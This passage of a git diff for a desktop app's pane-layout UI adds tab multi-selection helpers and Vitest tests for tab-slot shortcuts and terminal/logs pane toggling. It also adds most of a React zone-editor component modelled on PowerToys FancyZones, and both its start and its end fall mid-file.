+const isMac = typeof navigator !== 'undefined' && /Mac|iP(hone|ad|od)/.test(navigator.platform)
+
+/** The toggle-select chord: ⌥-click on Mac (⌘ closes, ⌃ is the context menu),
+ *  Ctrl-click elsewhere — ⌥ is accepted everywhere for one muscle memory. */
+export const isToggleSelectClick = (event: { altKey: boolean; button: number; ctrlKey: boolean; metaKey: boolean }) =>
+  event.button === 0 && !event.metaKey && (event.altKey || (!isMac && event.ctrlKey))
+
+export function clearTabSelection() {
+  if ($tabSelection.get()) {
+    $tabSelection.set(null)
+  }
+}
+
+/** ⌥/Ctrl-click: toggle `paneId`. A fresh selection seeds with the active tab
+ *  (it is implicitly selected, as in Chrome); collapsing to ≤1 dissolves the
+ *  selection entirely — a single "selected" tab is just a tab. */
+export function toggleTabSelected(groupId: string, paneId: string, activeId: string) {
+  const current = $tabSelection.get()
+  const ids = new Set(current?.groupId === groupId ? current.ids : [activeId])
+
+  if (ids.has(paneId)) {
+    ids.delete(paneId)
+  } else {
+    ids.add(paneId)
+  }
+
+  if (ids.size <= 1) {
+    $tabSelection.set(null)
+
+    return
+  }
+
+  $tabSelection.set({ anchor: paneId, groupId, ids })
+}
+
+/** Shift-click: select the contiguous range anchor→`paneId` in strip order,
+ *  replacing the previous range (the anchor holds, Chrome-style). */
+export function selectTabRange(groupId: string, orderedPanes: readonly string[], paneId: string, activeId: string) {
+  const current = $tabSelection.get()
+  const anchor = current?.groupId === groupId && orderedPanes.includes(current.anchor) ? current.anchor : activeId
+  const a = orderedPanes.indexOf(anchor)
+  const b = orderedPanes.indexOf(paneId)
+
+  if (a === -1 || b === -1) {
+    return
+  }
+
+  const ids = new Set(orderedPanes.slice(Math.min(a, b), Math.max(a, b) + 1))
+
+  if (ids.size <= 1) {
+    $tabSelection.set(null)
+
+    return
+  }
+
+  $tabSelection.set({ anchor, groupId, ids })
+}
+
+/** The selection as an ordered slice of `orderedPanes` — but only when the
+ *  pressed tab rides it (dragging an unselected tab is a single-tab drag).
+ *  Stale ids (closed panes) drop out here. */
+export function selectionFor(groupId: string, orderedPanes: readonly string[], paneId: string): null | string[] {
+  const current = $tabSelection.get()
+
+  if (current?.groupId !== groupId || !current.ids.has(paneId)) {
+    return null
+  }
+
+  const ids = orderedPanes.filter(id => current.ids.has(id))
+
+  return ids.length > 1 ? ids : null
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/tab-slot-shown.test.ts b/ui-desktop/src/components/pane-shell/tree/tab-slot-shown.test.ts
new file mode 100644
index 000000000..85ec5b6c0
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/tab-slot-shown.test.ts
@@ -0,0 +1,81 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+// ⌘1…⌘9 / ⌃Tab must index the same tabs the strip paints. A chrome-hidden
+// pane (Focus layout's `files`) stays in `group.panes` but isn't a chip —
+// indexing the raw array made ⌘2 land on the strip's first session tab.
+
+describe('activateTreeTabSlot indexes shown panes only', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    vi.resetModules()
+  })
+
+  afterEach(() => {
+    vi.resetModules()
+  })
+
+  async function setup() {
+    const tree = await import('@/components/pane-shell/tree/store')
+    const model = await import('@/components/pane-shell/tree/model')
+    const { registry } = await import('@/contrib/registry')
+
+    for (const id of ['workspace', 'files', 'session-tile:a', 'session-tile:b']) {
+      registry.register({
+        area: 'panes',
+        data: id === 'files' ? { collapsible: true, placement: 'side' } : { placement: 'main' },
+        id,
+        render: () => null,
+        title: id
+      })
+    }
+
+    // Focus-ish packing: files rides with workspace; two session tiles stacking
+    // of top of that — pane order in the tree: workspace, files, A, B.
+    tree.declareDefaultTree(
+      model.group(['workspace', 'files', 'session-tile:a', 'session-tile:b'], {
+        active: 'workspace',
+        id: 'grp-main'
+      })
+    )
+    tree.noteActiveTreeGroup('grp-main')
+    tree.setTreePaneHidden('files', true)
+
+    const activeOf = () => model.findGroup(tree.$layoutTree.get()!, 'grp-main')?.active ?? null
+
+    return { activeOf, tree }
+  }
+
+  it('⌘1 is workspace and ⌘2 is the first SESSION tab when files is hidden', async () => {
+    const { activeOf, tree } = await setup()
+
+    expect(tree.activateTreeTabSlot(1)).toBe('workspace')
+    expect(activeOf()).toBe('workspace')
+
+    expect(tree.activateTreeTabSlot(2)).toBe('session-tile:a')
+    expect(activeOf()).toBe('session-tile:a')
+
+    expect(tree.activateTreeTabSlot(3)).toBe('session-tile:b')
+    expect(activeOf()).toBe('session-tile:b')
+  })
+
+  it('does not claim a slot past the visible count (falls through to profile switch)', async () => {
+    const { tree } = await setup()
+
+    // Shown: workspace + A + B → 3. Slot 4 would have been `B` on the raw array
+    // (workspace, files, A, B) before this fix — now it correctly refuses.
+    expect(tree.activateTreeTabSlot(4)).toBeNull()
+  })
+
+  it('⌃Tab cycles only visible chips', async () => {
+    const { activeOf, tree } = await setup()
+
+    expect(tree.cycleTreeTabInFocusedZone(1)).toBe('session-tile:a')
+    expect(activeOf()).toBe('session-tile:a')
+
+    expect(tree.cycleTreeTabInFocusedZone(1)).toBe('session-tile:b')
+    expect(activeOf()).toBe('session-tile:b')
+
+    expect(tree.cycleTreeTabInFocusedZone(1)).toBe('workspace')
+    expect(activeOf()).toBe('workspace')
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/tool-pane-toggle.test.ts b/ui-desktop/src/components/pane-shell/tree/tool-pane-toggle.test.ts
new file mode 100644
index 000000000..e8dac0adb
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/tool-pane-toggle.test.ts
@@ -0,0 +1,401 @@
+import { atom } from 'nanostores'
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import { $terminalTakeover, setTerminalTakeover } from '@/app/right-sidebar/store'
+import { registry } from '@/contrib/registry'
+
+import { allPaneIds, group, split } from './model'
+import {
+  $dismissedPanes,
+  $hiddenTreePanes,
+  $layoutTree,
+  activateTreePane,
+  bindToolPaneCollapse,
+  closeToolPane,
+  isPaneVisible,
+  revealTreePane,
+  setTreeGroupHeaderHidden,
+  togglePaneVisible
+} from './store'
+
+// Ground truth for "toggle terminal broke — ⌘J/⌘B work fine, but once I move
+// the terminal around it just doesn't open/close anymore", and for "I have the
+// header hidden and it keeps coming back".
+//
+// Both symptoms need the terminal STACKED with logs, which is the layout you
+// get by dragging the terminal to the bottom: adoption stacks logs into the
+// terminal's zone. A lone terminal never reproduced either bug, which is why
+// they read as "randomly broken".
+
+const disposers: (() => void)[] = []
+
+/** Bind through the REAL production function, with the ergonomics the
+ *  controller gives it (closer/opener writing the same store). */
+function bindPaneCollapse(paneId: string, $open: ReturnType<typeof atom<boolean>>) {
+  bindToolPaneCollapse(
+    paneId,
+    $open,
+    () => $open.set(false),
+    () => $open.set(true)
+  )
+}
+
+beforeEach(() => {
+  window.localStorage.clear()
+  $dismissedPanes.set(new Set())
+  $hiddenTreePanes.set(new Set())
+
+  for (const [id, data] of [
+    ['workspace', { placement: 'main', uncloseable: true }],
+    ['files', { placement: 'right' }],
+    ['review', { placement: 'right' }],
+    ['terminal', { placement: 'bottom' }],
+    ['logs', { placement: 'bottom' }]
+  ] as const) {
+    disposers.push(registry.register({ area: 'panes', data, id, render: () => null, title: id }))
+  }
+})
+
+afterEach(() => {
+  disposers.splice(0).forEach(dispose => dispose())
+})
+
+/** The bottom tool zone, as the tree currently holds it. */
+const toolZone = () => {
+  const tree = $layoutTree.get()!
+
+  const found =
+    tree.type === 'split'
+      ? tree.children.find(c => c.type === 'group' && (c.panes.includes('terminal') || c.panes.includes('logs')))
+      : null
+
+  return found as { active?: string; headerHidden?: boolean; minimized?: boolean; panes: string[] } | null
+}
+
+/** Terminal dragged to the bottom; logs adopted into the same zone.
+ *
+ *  Set via `$layoutTree.set`, NOT `declareDefaultTree` — that only adopts into
+ *  an existing tree, and `$layoutTree` is module state that survives between
+ *  tests, so the second case would silently assert against the first's shape. */
+const stackTree = (options?: { active?: string; headerHidden?: boolean }) => {
+  $layoutTree.set(
+    split('column', [
+      group(['workspace'], { active: 'workspace', id: 'grp-main' }),
+      group(['terminal', 'logs'], {
+        active: options?.active ?? 'terminal',
+        headerHidden: options?.headerHidden,
+        id: 'g-tools'
+      })
+    ])
+  )
+}
+
+describe('binding a tool panel on boot', () => {
+  it('does not front itself over the tab the persisted tree had active', () => {
+    stackTree({ active: 'terminal' })
+
+    const $terminal = atom(true)
+    const $logs = atom(true)
+    bindPaneCollapse('terminal', $terminal)
+    bindPaneCollapse('logs', $logs)
+
+    // Binding logs LAST must not steal the active slot. It used to, because
+    // boot called setPaneCollapsed(id, false), whose shared-zone branch
+    // reveals.
+    expect(toolZone()?.active).toBe('terminal')
+  })
+
+  it('leaves ⌃` able to collapse the zone straight after boot', () => {
+    stackTree({ active: 'terminal' })
+
+    const $terminal = atom(true)
+    bindPaneCollapse('terminal', $terminal)
+    bindPaneCollapse('logs', atom(true))
+
+    // THE reported symptom, driven the way the keybind drives it. When boot
+    // fronted logs, this asked setPaneCollapsed to fold a terminal that wasn't
+    // the active tab; the shared-zone branch declines that, so the first press
+    // did nothing at all and ⌃` read as a dead key.
+    $terminal.set(false)
+
+    expect(toolZone()?.minimized).toBe(true)
+    expect(isPaneVisible('terminal')).toBe(false)
+  })
+
+  it('still collapses a tool panel whose store says it is off', () => {
+    stackTree()
+
+    bindPaneCollapse('terminal', atom(false))
+
+    expect(toolZone()?.minimized).toBe(true)
+  })
+})
+
+describe('toggling the terminal while it is stacked with logs', () => {
+  it('closes and reopens on every press', () => {
+    stackTree({ active: 'terminal' })
+    bindPaneCollapse('terminal', atom(true))
+    bindPaneCollapse('logs', atom(true))
+
+    togglePaneVisible('terminal')
+    expect(isPaneVisible('terminal')).toBe(false)
+
+    togglePaneVisible('terminal')
+    expect(isPaneVisible('terminal')).toBe(true)
+  })
+
+  it('brings the terminal forward when logs holds the active tab', () => {
+    stackTree({ active: 'logs' })
+    bindPaneCollapse('terminal', atom(true))
+    bindPaneCollapse('logs', atom(true))
+
+    // The zone is open but showing LOGS, so the terminal is not on screen —
+    // the first press must reveal it rather than collapse the whole zone.
+    expect(isPaneVisible('terminal')).toBe(false)
+
+    togglePaneVisible('terminal')
+
+    expect(isPaneVisible('terminal')).toBe(true)
+    expect(toolZone()?.minimized).toBeFalsy()
+  })
+
+  it('reopens after the terminal tab was closed outright', () => {
+    stackTree()
+    const $terminal = atom(true)
+    bindPaneCollapse('terminal', $terminal)
+    bindPaneCollapse('logs', atom(true))
+
+    closeToolPane('terminal')
+    expect(allPaneIds($layoutTree.get()!)).not.toContain('terminal')
+
+    togglePaneVisible('terminal')
+
+    expect(allPaneIds($layoutTree.get()!)).toContain('terminal')
+    expect(isPaneVisible('terminal')).toBe(true)
+  })
+})
+
+describe('collapsing the active terminal in a shared group with the workspace', () => {
+  // The terminal is a TAB in the workspace's own group under the Focus preset:
+  // [workspace, files, review, terminal]. Collapsing it used to hand the slot
+  // to `panes[at - 1]` — 'review' — so ⌃` / the rail / the statusbar toggle
+  // dropped the user on a diff pane they never opened, and with the overlay
+  // still painting it read as "the terminal came back". The slot belongs to
+  // the uncloseable workspace, the one member guaranteed to be a real
+  // destination.
+
+  function focusGroup() {
+    $layoutTree.set(group(['workspace', 'files', 'review', 'terminal'], { active: 'terminal', id: 'g-focus' }))
+  }
+
+  const focusActive = () => {
+    const tree = $layoutTree.get()
+
+    return tree?.type === 'group' ? tree.active : undefined
+  }
+
+  it('⌃` / the rail toggle lands on workspace, not review', () => {
+    focusGroup()
+
+    // Production wiring (controller.tsx): the takeover atom IS the terminal's
+    // toggle store; the closer/opener write it back.
+    bindToolPaneCollapse(
+      'terminal',
+      $terminalTakeover,
+      () => setTerminalTakeover(false),
+      () => setTerminalTakeover(true)
+    )
+
+    // User had the terminal open and active.
+    setTerminalTakeover(true)
+    expect($terminalTakeover.get()).toBe(true)
+    expect(focusActive()).toBe('terminal')
+    expect(isPaneVisible('terminal')).toBe(true)
+
+    // The user presses ⌃` (or clicks the rail / statusbar toggle) to put the
+    // terminal away. bindToolPaneCollapse routes a false store through
+    // setPaneCollapsed.
+    setTerminalTakeover(false)
+
+    expect($terminalTakeover.get()).toBe(false)
+    expect(isPaneVisible('terminal')).toBe(false)
+    // THE regression: used to be 'review' (group.panes[at - 1]).
+    expect(focusActive()).toBe('workspace')
+    expect(isPaneVisible('workspace')).toBe(true)
+  })
+
+  it('openNewSessionTile (+ / ⌘T): the new session tab fronts and the terminal tab goes hidden', () => {
+    const stored = 'stored-1'
+    const tilePaneId = `session-tile:${stored}`
+
+    const dispose = registry.register({
+      area: 'panes',
+      data: { placement: 'main' },
+      id: tilePaneId,
+      render: () => null,
+      title: 'new session'
+    })
+
+    disposers.push(dispose)
+
+    // The tile lands in the same shared zone as the workspace + terminal
+    // (Focus preset: docked 'center' into the focused chat zone).
+    $layoutTree.set(
+      group(['workspace', 'files', 'review', 'terminal', tilePaneId], { active: 'terminal', id: 'g-focus' })
+    )
+
+    bindToolPaneCollapse(
+      'terminal',
+      $terminalTakeover,
+      () => setTerminalTakeover(false),
+      () => setTerminalTakeover(true)
+    )
+
+    setTerminalTakeover(true)
+    expect(focusActive()).toBe('terminal')
+    expect(isPaneVisible('terminal')).toBe(true)
+
+    // Exactly what openNewSessionTile does after openSessionTile + patch:
+    // `revealTreePane(`session-tile:${stored}`)` (use-session-actions:521).
+    revealTreePane(tilePaneId)
+
+    expect(focusActive()).toBe(tilePaneId)
+    expect(isPaneVisible('terminal')).toBe(false)
+    // The terminal layer gets data-pane-hidden (tree-group spreads
+    // hiddenPaneProps(!isActive)), which the PersistentTerminal overlay now
+    // measures — so the terminal surface stops covering the new session tab.
+    expect(isPaneVisible(tilePaneId)).toBe(true)
+    expect($terminalTakeover.get()).toBe(true) // toggle store stays truthful
+  })
+
+  it('startFreshSessionDraft (⌘N): fronts the workspace and leaves the terminal open behind its tab', () => {
+    focusGroup()
+
+    bindToolPaneCollapse(
+      'terminal',
+      $terminalTakeover,
+      () => setTerminalTakeover(false),
+      () => setTerminalTakeover(true)
+    )
+
+    setTerminalTakeover(true)
+    expect(focusActive()).toBe('terminal')
+
+    // What startFreshSessionDraft does: reveal, and nothing else. It must NOT
+    // clear the takeover atom — that is the terminal's open/closed state, not
+    // a fronting flag.
+    revealTreePane('workspace')
+
+    expect(focusActive()).toBe('workspace')
+    expect(isPaneVisible('workspace')).toBe(true)
+    // Hidden behind the workspace tab, so the overlay stops painting (the
+    // actual cause of the chat being covered) …
+    expect(isPaneVisible('terminal')).toBe(false)
+    // … while the terminal stays OPEN: its PTYs live and clicking the tab
+    // brings back a mounted workspace.
+    expect($terminalTakeover.get()).toBe(true)
+  })
+})
+
+describe('a terminal that owns its own zone (Default / Terminal deck / Quad)', () => {
+  // Only the Focus preset stacks the terminal with the workspace. Everywhere
+  // else it sits in a group of its own, beside the chat rather than over it —
+  // so a fresh chat has no reason to touch it.
+  it('stays open and visible when a fresh chat fronts the workspace', () => {
+    $layoutTree.set(
+      split('row', [group(['workspace'], { id: 'grp-main' }), group(['terminal'], { id: 'grp-terminal' })], [3, 1])
+    )
+
+    bindToolPaneCollapse(
+      'terminal',
+      $terminalTakeover,
+      () => setTerminalTakeover(false),
+      () => setTerminalTakeover(true)
+    )
+
+    setTerminalTakeover(true)
+    expect(isPaneVisible('terminal')).toBe(true)
+
+    revealTreePane('workspace')
+
+    expect(isPaneVisible('workspace')).toBe(true)
+    // Regression: clearing takeover inside startFreshSessionDraft minimized
+    // this zone, folding a terminal that was never obscuring anything.
+    expect(isPaneVisible('terminal')).toBe(true)
+    expect($terminalTakeover.get()).toBe(true)
+  })
+
+  it('survives a restart with a clickable, mountable terminal tab', () => {
+    $layoutTree.set(group(['workspace', 'files', 'review', 'terminal'], { active: 'terminal', id: 'g-focus' }))
+
+    bindToolPaneCollapse(
+      'terminal',
+      $terminalTakeover,
+      () => setTerminalTakeover(false),
+      () => setTerminalTakeover(true)
+    )
+
+    setTerminalTakeover(true)
+    revealTreePane('workspace')
+
+    // ── restart: the tree and the takeover atom are both persisted ──
+    const persistedTakeover = $terminalTakeover.get()
+
+    bindToolPaneCollapse(
+      'terminal',
+      $terminalTakeover,
+      () => setTerminalTakeover(false),
+      () => setTerminalTakeover(true)
+    )
+
+    // Regression: a persisted `false` left the tab in the strip and
+    // un-minimized, but PersistentTerminal mounts its workspace only while
+    // takeover is true — so clicking the tab (a bare activateTreePane) fronted
+    // an empty pane.
+    expect(persistedTakeover).toBe(true)
+
+    activateTreePane('g-focus', 'terminal')
+
+    expect(isPaneVisible('terminal')).toBe(true)
+    expect($terminalTakeover.get()).toBe(true)
+  })
+})
+
+describe('a zone whose header the user hid', () => {
+  it('keeps it hidden after a stacked sibling is closed and toggled back', () => {
+    stackTree({ headerHidden: true })
+    bindPaneCollapse('terminal', atom(true))
+    const $logs = atom(true)
+    bindPaneCollapse('logs', $logs)
+
+    setTreeGroupHeaderHidden('g-tools', true)
+
+    // Close logs: the zone drops to one pane. normalize used to DISCARD the
+    // hidden flag here ("a lone zone is headerless anyway"), so the bar
+    // reappeared the moment logs was toggled back in.
+    closeToolPane('logs')
+    expect(toolZone()?.headerHidden).toBe(true)
+
+    $logs.set(true)
+
+    expect(toolZone()?.panes).toContain('logs')
+    expect(toolZone()?.headerHidden).toBe(true)
+  })
+
+  it('keeps it hidden when a closed pane is re-adopted into it', () => {
+    stackTree()
+    const $terminal = atom(true)
+    bindPaneCollapse('terminal', $terminal)
+    bindPaneCollapse('logs', atom(true))
+
+    setTreeGroupHeaderHidden('g-tools', true)
+
+    // Re-adoption pins headerHidden:false so a surprise pane always has a
+    // handle — correct for a new pane, wrong for a zone the user hid.
+    closeToolPane('terminal')
+    $terminal.set(true)
+
+    expect(toolZone()?.panes).toContain('terminal')
+    expect(toolZone()?.headerHidden).toBe(true)
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/zone-editor.tsx b/ui-desktop/src/components/pane-shell/tree/zone-editor.tsx
new file mode 100644
index 000000000..74a269463
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/zone-editor.tsx
@@ -0,0 +1,512 @@
+/**
+ * Zone editor — the FancyZones grid editor experience, ported from PowerToys'
+ * `GridEditor.xaml.cs` interactions onto the verbatim model port (grid-model.ts):
+ *
+ *  - A full-screen canvas of numbered translucent zones.
+ *  - A splitter line follows the cursor inside the hovered zone; CLICK splits
+ *    at that position. Hold SHIFT to flip the line horizontal (row split).
+ *  - DRAG across zones to rubber-band select; the selection expands to its
+ *    rectangular closure (ComputeClosure) and a Merge button appears.
+ *  - Shared zone edges are draggable resizer thumbs (multi-zone edges move
+ *    together, min-size clamped) — GridData.Drag semantics.
+ *  - Templates: Columns / Rows / Grid / Priority with a zone-count stepper.
+ *
+ * Saving converts the grid to our runtime layout tree (guillotine cuts) and
+ * registers it as a user preset; non-guillotine arrangements (pinwheels)
+ * disable Save with an explanation.
+ */
+
+import { useStore } from '@nanostores/react'
+import { atom } from 'nanostores'
+import { type PointerEvent as ReactPointerEvent, useCallback, useEffect, useRef, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { registry } from '@/contrib/registry'
+import { useI18n } from '@/i18n'
+import { ESCAPE_PRIORITY, isTopEscapeLayer, pushEscapeLayer } from '@/lib/escape-layers'
+import { cn } from '@/lib/utils'
+
+import {
+  canSplit,
+  doMerge,
+  dragResizer,
+  type GridLayout,
+  type GridResizer,
+  type GridZone,
+  initColumns,
+  initGrid,
+  initPriorityGrid,
+  initRows,
+  mergeClosureIndices,
+  modelToResizers,
+  modelToZones,
+  MULTIPLIER,
+  splitZone
+} from './grid-model'
+import { gridIsTreeExpressible, gridToTree, type PanePlacementHint } from './grid-to-tree'
+import { allPaneIds } from './model'
+import { applyLayoutPreset, saveLayoutPresetTree } from './presets'
+import { $layoutTree } from './store'
+
+export const $zoneEditorOpen = atom(false)
+
+const SPLIT_SNAP = 50 // model units (0.5%)
+
+const pct = (v: number) => `${(v / MULTIPLIER) * 100}%`
+
+interface SplitPreview {
+  zoneIndex: number
+  orientation: 'horizontal' | 'vertical'
+  position: number
+}
+
+interface SelectBox {
+  x0: number
+  y0: number
+  x1: number
+  y1: number
+}
+
+/** Resizer screen geometry derived from its zones (model units). */
+function resizerGeometry(resizer: GridResizer, zones: GridZone[]) {
+  const all = [...resizer.negativeSideIndices, ...resizer.positiveSideIndices].map(i => zones[i])
+
+  if (resizer.orientation === 'horizontal') {
+    return {
+      at: zones[resizer.positiveSideIndices[0]].top,
+      from: Math.min(...all.map(z => z.left)),
+      to: Math.max(...all.map(z => z.right))
+    }
+  }
+
+  return {
+    at: zones[resizer.positiveSideIndices[0]].left,
+    from: Math.min(...all.map(z => z.top)),
+    to: Math.max(...all.map(z => z.bottom))
+  }
+}
+
+export function ZoneEditor() {
+  const { t } = useI18n()
+  const open = useStore($zoneEditorOpen)
+  const [model, setModel] = useState<GridLayout>(() => initPriorityGrid(3))
+  const [templateCount, setTemplateCount] = useState(3)
+  const [shift, setShift] = useState(false)
+  const [splitPreview, setSplitPreview] = useState<SplitPreview | null>(null)
+  const [selectBox, setSelectBox] = useState<SelectBox | null>(null)
+  const [selection, setSelection] = useState<number[]>([])
+  const [mergeAt, setMergeAt] = useState<{ x: number; y: number } | null>(null)
+  const [name, setName] = useState('')
+  const canvasRef = useRef<HTMLDivElement>(null)
+
+  const zones = modelToZones(model) ?? []
+  const resizers = modelToResizers(model)
+  const treeExpressible = gridIsTreeExpressible(model)
+
+  // Shift flips the splitter orientation (FancyZones behavior); Esc closes.
+  useEffect(() => {
+    if (!open) {
+      return
+    }
+
+    const releaseLayer = pushEscapeLayer(ESCAPE_PRIORITY.zoneEditor)
+
+    const down = (e: KeyboardEvent) => {
+      if (e.key === 'Shift') {
+        setShift(true)
+      }
+
+      // Skip when a nested field (the name Input) already handled Escape, or a
+      // higher layer owns it.
+      if (e.key === 'Escape' && !e.defaultPrevented && isTopEscapeLayer(ESCAPE_PRIORITY.zoneEditor)) {
+        e.preventDefault()
+        $zoneEditorOpen.set(false)
+      }
+    }
+
+    const up = (e: KeyboardEvent) => {
+      if (e.key === 'Shift') {
+        setShift(false)
+      }
+    }
+
+    window.addEventListener('keydown', down)
+    window.addEventListener('keyup', up)
+
+    return () => {
+      window.removeEventListener('keydown', down)
+      window.removeEventListener('keyup', up)
+      releaseLayer()
+    }
+  }, [open])
+
+  const toModelPoint = useCallback((clientX: number, clientY: number) => {
+    const rect = canvasRef.current!.getBoundingClientRect()
+
+    return {
+      x: Math.round(((clientX - rect.x) / rect.width) * MULTIPLIER),
+      y: Math.round(((clientY - rect.y) / rect.height) * MULTIPLIER)
+    }
+  }, [])
+
+  if (!open) {
+    return null
+  }
+
+  const zoneAt = (x: number, y: number) =>
+    zones.find(z => x >= z.left && x < z.right && y >= z.top && y < z.bottom) ?? null
+
+  const updateSplitPreview = (clientX: number, clientY: number) => {
+    const p = toModelPoint(clientX, clientY)
+    const zone = zoneAt(p.x, p.y)
+
+    if (!zone) {
+      setSplitPreview(null)
+
+      return
+    }
+
+    const orientation = shift ? 'horizontal' : 'vertical'
+    const raw = orientation === 'horizontal' ? p.y : p.x
+    const position = Math.round(raw / SPLIT_SNAP) * SPLIT_SNAP
+
+    setSplitPreview(
+      canSplit(model, zone.index, position, orientation) ? { zoneIndex: zone.index, orientation, position } : null
+    )
+  }
+
+  const onCanvasPointerDown = (e: ReactPointerEvent<HTMLDivElement>) => {
+    if (e.button !== 0 || (e.target as HTMLElement).dataset.resizer !== undefined) {
+      return
+    }
+
+    e.preventDefault()
+    setMergeAt(null)
+    setSelection([])
+
+    const start = toModelPoint(e.clientX, e.clientY)
+    let dragged = false
+
+    const onMove = (ev: PointerEvent) => {
+      const cur = toModelPoint(ev.clientX, ev.clientY)
+
+      if (!dragged && Math.hypot(cur.x - start.x, cur.y - start.y) < 60) {
+        return
+      }
+
+      dragged = true
+
+      const box = {
+        x0: Math.min(start.x, cur.x),
+        y0: Math.min(start.y, cur.y),
+        x1: Math.max(start.x, cur.x),
+        y1: Math.max(start.y, cur.y)
+      }
+
+      setSelectBox(box)
+
+      // Zones intersecting the rubber band, expanded to rectangular closure.
+      const picked = zones
+        .filter(z => z.left < box.x1 && z.right > box.x0 && z.top < box.y1 && z.bottom > box.y0)
+        .map(z => z.index)
+
+      setSelection(mergeClosureIndices(model, picked))
+    }
+
+    const onUp = (ev: PointerEvent) => {
+      window.removeEventListener('pointermove', onMove, true)
+      window.removeEventListener('pointerup', onUp, true)
+      setSelectBox(null)
+
+      if (!dragged) {
+        // Plain click: split at the previewed line.
+        if (splitPreview) {
+          setModel(m => splitZone(m, splitPreview.zoneIndex, splitPreview.position, splitPreview.orientation))
+          setSplitPreview(null)
+        }
+
+        setSelection([])
+
+        return
+      }
+
+      const rect = canvasRef.current!.getBoundingClientRect()
+      setMergeAt({ x: ev.clientX - rect.x, y: ev.clientY - rect.y })
+    }
+
+    window.addEventListener('pointermove', onMove, true)
+    window.addEventListener('pointerup', onUp, true)
+  }
+
+  const startResizerDrag = (index: number, e: ReactPointerEvent<HTMLDivElement>) => {
+    e.preventDefault()
+    e.stopPropagation()
+
+    const rect = canvasRef.current!.getBoundingClientRect()
+    const resizer = resizers[index]
+    const horizontal = resizer.orientation === 'horizontal'
+    const start = horizontal ? e.clientY : e.clientX
+    let applied = 0
+
+    const onMove = (ev: PointerEvent) => {
+      const px = (horizontal ? ev.clientY : ev.clientX) - start
+      const total = Math.round((px / (horizontal ? rect.height : rect.width)) * MULTIPLIER)
+      const step = total - applied
+
+      if (step !== 0) {
+        setModel(m => {
+          const next = dragResizer(m, index, step)
+
+          if (next !== m) {
+            applied = total
+          }
+
+          return next
+        })
+      }
+    }
+
+    const onUp = () => {
+      window.removeEventListener('pointermove', onMove, true)
+      window.removeEventListener('pointerup', onUp, true)
+    }
+
+    window.addEventListener('pointermove', onMove, true)
+    window.addEventListener('pointerup', onUp, true)
+  }
+
+  const merge = () => {
+    setModel(m => doMerge(m, selection))
+    setSelection([])
+    setMergeAt(null)
+  }
+
+  const save = () => {
+    const paneIds = allPaneIds($layoutTree.get() ?? { type: 'group', id: 'tmp', panes: [], active: '' })
+    // Placement hints ride on the pane contributions (`data.placement`), so
+    // zones are assigned by ROLE (main/left/right/bottom), not index order.
+    const contributions = registry.getArea('panes')
+
+    const placed = paneIds.map(id => ({
+      id,
+      placement: (contributions.find(c => c.id === id)?.data as { placement?: PanePlacementHint } | undefined)
+        ?.placement
+    }))
+
+    const tree = gridToTree(model, placed)
+
+    if (!tree) {
+      return
+    }
+
+    const id = saveLayoutPresetTree(name || t.zones.customZoneName(zones.length), tree)
+
+    if (id) {
+      applyLayoutPreset(id, tree)
+    }
+
+    $zoneEditorOpen.set(false)
+  }
+
+  const templates = [
+    { label: t.zones.templateColumns, make: initColumns },
+    { label: t.zones.templateRows, make: initRows },
+    { label: t.zones.templateGrid, make: initGrid },
+    { label: t.zones.templatePriority, make: initPriorityGrid }
+  ]
+
+  return (
+    <div
+      className="absolute inset-0 z-[70] flex flex-col gap-3 p-6 [-webkit-app-region:no-drag]"
+      style={{ background: 'color-mix(in srgb, var(--ui-bg-chrome) 88%, transparent)', backdropFilter: 'blur(6px)' }}
+    >
+      {/* Toolbar — Panel-style title + hint, template chooser on the right. */}
+      <div className="flex items-end justify-between gap-3">
+        <div className="min-w-0">
+          <h2 className="text-sm font-semibold text-foreground">{t.zones.zoneEditorTitle}</h2>
+          <p className="text-xs text-muted-foreground/80">
+            {t.zones.editorHintPre}
+            <kbd className="rounded border border-(--ui-stroke-secondary) bg-foreground/5 px-1 font-mono text-[10px]">
+              ⇧
+            </kbd>
+            {t.zones.editorHintPost}
+          </p>
+        </div>
+        <div className="flex shrink-0 items-center gap-1.5">
+          {templates.map(t => (
+            <Button
+              key={t.label}
+              onClick={() => {
+                setSelection([])
+                setMergeAt(null)
+                setModel(t.make(templateCount))
+              }}
+              size="sm"
+              variant="outline"
+            >
+              {t.label}
+            </Button>
+          ))}
+          <Input
+            className="h-7 w-14 text-center text-xs"
+            max={8}
+            min={1}
+            onChange={e => setTemplateCount(Math.max(1, Math.min(8, Number(e.target.value) || 1)))}
+            type="number"
+            value={templateCount}
+          />
+        </div>
+      </div>
+
+      {/* Canvas */}
+      <div
+        className="relative min-h-0 flex-1 cursor-crosshair overflow-hidden rounded-lg border border-(--ui-stroke-secondary)"
+        onPointerDown={onCanvasPointerDown}
+        onPointerLeave={() => setSplitPreview(null)}
+        onPointerMove={e => updateSplitPreview(e.clientX, e.clientY)}
+        ref={canvasRef}
+      >
+        {zones.map(zone => {
+          const selected = selection.includes(zone.index)
+
+          return (
+            <div
+              className="absolute flex items-center justify-center rounded-[3px] border transition-colors"
+              key={zone.index}
+              style={{
+                left: pct(zone.left),
+                top: pct(zone.top),
+                width: pct(zone.right - zone.left),
+                height: pct(zone.bottom - zone.top),
+                // Accent over an elevated base — zones stay legible on dark
+                // themes where a bare accent wash sinks into the canvas.
+                background: `color-mix(in srgb, var(--ui-accent) ${selected ? 34 : 12}%, var(--ui-bg-elevated))`,
+                borderColor: `color-mix(in srgb, var(--ui-accent) ${selected ? 90 : 40}%, transparent)`
+              }}
+            >
+              {/* Quiet zone tag — the app's small-caps label voice, not a
+                  billboard number. */}
+              <span className="select-none text-[0.64rem] font-semibold uppercase tracking-[0.16em] text-(--ui-text-tertiary)">
+                {t.zones.zoneTag(zone.index + 1)}
+              </span>
+            </div>
+          )
+        })}
+
+        {/* Splitter preview line following the cursor. */}
+        {splitPreview &&
+          (() => {
+            const zone = zones[splitPreview.zoneIndex]
+
+            if (!zone) {
+              return null
+            }
+
